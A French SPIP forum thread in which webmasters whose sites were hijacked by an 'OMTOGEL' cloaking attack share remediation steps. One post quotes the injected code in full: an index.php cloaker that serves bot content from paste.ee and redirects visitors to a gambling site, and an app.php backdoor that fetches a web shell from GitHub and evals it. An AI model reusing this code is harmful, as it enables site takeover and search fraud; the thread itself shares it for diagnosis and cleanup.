[Résolu] Site SPIP hacké OMTOGEL

Bonjour @Gui

Le script proposé est plutôt à l’intention des personnes en charge de l’administration système ou à la rigueur à des devops. Pour les « simples » webmestre cela est probablement inadapté. Car dans ce cas on a généralement un accès restreint au serveur.

Il s’agit d’un script bash donc il faut pouvoir se connecter sur le serveur, en général via ssh, le déposer un peu où on veut et suivre l’aide intégrée.

Le script par défaut fait un scan de /var/www/ en mode test. Des arguments sont fournis pour :

  • lister les fichiers considérés comme vérolés
  • effectuer certaines corrections immédiates (déploiement de l’ecran de sécurité, réparation de l’accès à l’espace privé)
  • lister toutes les actions que le script fera

Un mode WP est également présent mais cette partie est un peu moins sèche car a parfois du mal à detecter proprement les racines de ces sites.

1 « J'aime »

Bonjour, j’ai eu exactement le même problème . J’ai pris une décision (trop) radicale, j’ai tout effacé sauf IMG et tmp/dump … mais à présent j’ai « Site en travaux » et je ne peux plus aller dans l’espace privé pour Restaurer
J’ai dans le pc tous les fichiers effacés.
Help!

oups, j’ai trouvé; passer par monsiteperso.net.
Si ça résout le pb, je reviens vous le dire.

Même si le problème semble similaire, un nouveau fil de discussion (un par problème) serait plus pertinent…

Désolé, je trouvais que mutualiser nos expériences sur un même sujet (la seule différence était qu’on était redirigé vers OGV) pouvais etre judicieux…
Je viens de terminer la restauration du site après son effacement puis sa restauration par ftp puiis restauration du dump semble fonctionner: est ce que je continue sur ce fil?

···

Jean-Pierre ADALBERON

12, rue Aristide Briand

59240 DUNKERQUE

Si tu veux, mais je ne peux pas mettre Résolu sur de fil puisque ce n’est pas le tiens :stuck_out_tongue_winking_eye:

Bjr, je me permets de faire un petit cr de ce que j’ai fait hier après midi qui semble avoir résolu mon pb qui était très similaire à celui de ce fil. A savoir fichier index.php systématiquement vérolé pour une redirection.
Par FTP j’ai tout effacé sauf IMG et tmp/dump.
J’ai Donc effacé config car ma bdd est sqlite3. Sinon garder config.
Par FTP j’ai remis le sip de la même version téléchargé à cet effet.
Ensuite je me suis fait un peu peur en tentant de retourner sur le site qui affiche alors Site en travaux sans pouvoir y accéder bien sûr…
Heureusement il m’est revenu qu’après le nom du site il faut taper /ecrire
Et là il faut fournir les infos demandées comme e-mail du webmaster, mot de passe du webmaster, etc
On se retrouve alors dans l’espace privé où via la rubrique maintenance faire une restauration avec la sauvegarde la plus récente.
Dernière frayeur en retournant vers le site public, je retrouve le site de la redirection. En fait il fallait vider le cache du navigateur…
Donc voilà, si ça peut aider…

Bonjour même galère, je vous donne quelques détails des fichiers ajoutés à la racine :
aujourd’hui 2 fichiers ont été placés à la racine du serveur, infectés que j’ai supprimés.

Mon site hier avait été entièrement effacé. J’ai du tout réinstaller à nouveau avec la dernière version de SPIP. Il ne ressemble plus à rien mais bon, je verrai ça plus tard. Il était pourtant déjà à jour sur la dernière version.

Puis sans doute grace à cela, ce même site détourné ce matin avec 2 fichiers à la racine (j’ai les ai supprimés également) cela redirigeait vers un autre site mais de façon invisible. On voyait le site en ligne mais dans Google Search Console on visualisait un autre site.

Les 2 fichiers étaient index.php modifié et app.php ajouté.

Le fichie index.php ne devrait contenir que les dernières lignes qui redirigent vers spip.php, tout ce qui est avant a été ajouté :

<?php header('Vary: Accept-Language'); header('Vary: User-Agent'); function get_client_ip() { return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_FORWARDED'] ?? $_SERVER['HTTP_FORWARDED_FOR'] ?? $_SERVER['HTTP_FORWARDED'] ?? $_SERVER['REMOTE_ADDR'] ?? getenv('HTTP_CLIENT_IP') ?? getenv('HTTP_X_FORWARDED_FOR') ?? getenv('HTTP_X_FORWARDED') ?? getenv('HTTP_FORWARDED_FOR') ?? getenv('HTTP_FORWARDED') ?? getenv('REMOTE_ADDR') ?? '127.0.0.1'; } function make_request($url) { if (ini_get('allow_url_fopen')) { return @file_get_contents($url); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $rf = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $ip = get_client_ip(); $bot_url = "https://paste.ee/r/rXJ0k"; $reff_url = "https://soloasi.mx/omtogel/amp/slotnagahitam"; $file = make_request($bot_url); $geolocation = @json_decode(make_request("http://ip-api.com/json/{$ip}"), true); $cc = $geolocation['countryCode'] ?? ''; $botchar = "/(googlebot|slurp|adsense|inspection|verifycation|jenifer)/"; $fingerprint = md5($ua . $ip . ($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '') . ($_SERVER['HTTP_ACCEPT_ENCODING'] ?? '')); if (preg_match($botchar, $ua)) { echo $file; exit; } if ($cc === "ID" || $fingerprint === "known_bad_fingerprint") { header("HTTP/1.1 302 Found"); header("Location: ".$reff_url); exit(); } if (!empty($rf) && (stripos($rf, "yahoo.co.id") !== false || stripos($rf, "google.co.id") !== false || stripos($rf, "bing.com") !== false)) { header("HTTP/1.1 302 Found"); header("Location: ".$reff_url); exit(); } ?> <?php # appel SPIP include('spip.php'); Le fichier app.php ajouté contenait ceci : <?php function is_logged_in(){return isset($_COOKIE["ngawi_id"]) && $_COOKIE["ngawi_id"] === "9gnhuy8n7t6nvy83hyr8";}if(is_logged_in()){function geturlsinfo($url){if(function_exists("curl_exec")){$conn = curl_init($url);curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);$url_get_contents_data = curl_exec($conn);curl_close($conn);}elseif(function_exists("file_get_contents")){$url_get_contents_data = file_get_contents($url);}elseif(function_exists("fopen") && function_exists("stream_get_contents")){$handle = fopen($url, "r");$url_get_contents_data = stream_get_contents($handle);fclose($handle);}else{$url_get_contents_data = false;}return $url_get_contents_data;}$a = geturlsinfo("https://raw.githubusercontent.com/yon3zu/403WebShell/refs/heads/main/403WebShell.php");eval("?>".$a);}else{if(isset($_POST["password"])){$entered_password = $_POST["password"];$hashed_password = "11bf58a43bd30cb13109022988c1b8c5";if(md5($entered_password) === $hashed_password){setcookie("ngawi_id", "9gnhuy8n7t6nvy83hyr8", time() + 3600, "/");}else{echo "Incorrect password. Please try again.";}}?>Ngawi LoginID Ngawi :<?php } ?>

Voilà si ça peut apporter un peu d’eau au moulin… Je galère sévère sur mon serveur depuis plusieurs semaines, un enfer j’arrive pas à trouver ni le support de d’o2switch qui me propose de remettre le serveur à zéro mais je ne peux pas j’ai trop de sites clients dessus.

Bon courage à ceux qui subissent comme moi.

Bonjour,

exactement le même problème chez moi, sur un site (hébergement qui en a 10), décrit ici : site effacé, puis modifié, et encore … je suis perdu ?

Merci pour les infos, je continue à chercher pour ma part

1 « J'aime »

Bonjour @nicod, j’ai touché la limite de mes compétences, donc une question con : est-ce que le contenu de ces répertoires peut être vidé sans danger stp ? (j’ai notamment un dossier « twig » dans lamp0/tmp qui ne me dit rien)

1 « J'aime »

Bonjour

Le plus simple si impossible d’agir en tant qu’admin système et uniquement en tant que webmaster.
C’est de réinstaller le tout depuis zero via spip_loader.
Ensuite :

  • réinstallation d’un SPIP tout propre sans rien d’autre
  • configuration de connect.php sur la base de données
  • mise à jour de TOUS les identifiants (mot de passe)
  • installation/vérification du dernier ecran de sécurité
  • installation des plugins/themes
  • restauration du répertoire squelettes (avec vérification préalable de TOUS les fichiers)
  • restauration du répertorie IMG (avec vérification préalable de TOUS les fichiers)

De là le site devrait dans un état propre et sécurisé et à 95% aussi proche que possible de l’état précédent l’attaque.
Il restera à vérifier que rien n’a été oublié et faire les corrections qui vont bien.

merci @azerttyu j’ai fait tout ça, j’attends de voir demain matin ce qu’il en est :wink:

Bonjour à tous,

Je reprend ce post car mon problème n’est toujours pas résolu.
Je pensais avoir nettoyé le site.
Mais le déréférencement constaté dans google m’a fait me pencher de nouveau sur le site, et j’ai trouvé des scripts de cloaking, beaucoup plus discrets, c’est à dire plus seulement dans les .htaccess ou index.php, mais dans les fichiers appelés par ceux-ci, et qui fonctionnaient bien sans défigurer le site.

Et qui laissent le site parfaitement fonctionnel pour l’utilisateur.
Je vous encourage à vérifier vos sites avec la console google.

J’ai eu je ne sais combien d’injections, tous les 2, 3 jours, différentes. Je ne pense pas que ce soit un simple script, mais quelqu’un, qui réagit à mes actions et intègre le fonctionnement de spip.
Par exemple, au début, je cherchais les fichiers modifiés sur le serveur, pour les supprimer.
Rapidement, les dates de modification des fichiers sont restées identiques, même si un script de cloaking avait été injecté en début de fichier.

J’ai également eu des répertoires créés, \ALFA_DATA, \alfacgiapi contenant des fichiers identifiés comme virus.
J’ai vu que de nombreux sujets du forum rapportent également ces attaques.

Bref, la désagréable impression que quelqu’un a accès à mon espace à sa guise !
Mais les logs ne montrent aucun accès ftp autres que les miens.

Je précise que je suis sur un mutu OVH, sans accès ssh, ce qui ne me permet pas de tester le script de vérif de l’intégrité du site, bien dommage.

A propos d’OVH, le service client m’assure que tout va bien, et que le problème vient de chez moi.
Mais ils ont été quand même obligé d’intervenir pour supprimer un répertoire créé dans mon espace et sur lequel je n’avait aucun droit…

J’ai fait une ré-installation totale, en laissant seulement img, squelettes et plugin.

Mais le problème continuait régulièrement.

Alors, hier, j’ai fait la totale.

  • suppression de tous les fichiers sous www et de toutes les tables de la base
  • modif des mdp de la base, admin et tous les auteurs
  • importation de img et squelettes en vérifiant tous les fichiers
  • j’ai également édité la sauvegarde de la base, à la recherche de script ou champs douteux, avant de l’importer.
  • installation des plugins.

Et le soir même, la console Google voit toujours derriere mon site le même site omtogel, et ces différents noms de domaines.

J’ai récupéré ce matin l’intégralité des fichiers en local, et je n’arrive même plus à trouver si un script à été injecté.

Bref, désolé pour la longueur, mais là, je suis à court d’idées… :wink:

Quelle version de SPIP ?

Si la version n’est pas à jour 4.3.8 ou 4.4.2, c’est de là que vient le problème.

Bonjour à tous,

Je me suis désespéré un peu vite ! :wink:

Depuis le dernier nettoyage total, plus d’injections ni autre.

C’est la console google qui me laissait penser que le hack était toujours présent.
Quand on fait une requête en direct sur une url, c’est en fait dans un cache qu’elle va voir…

Problème résolu.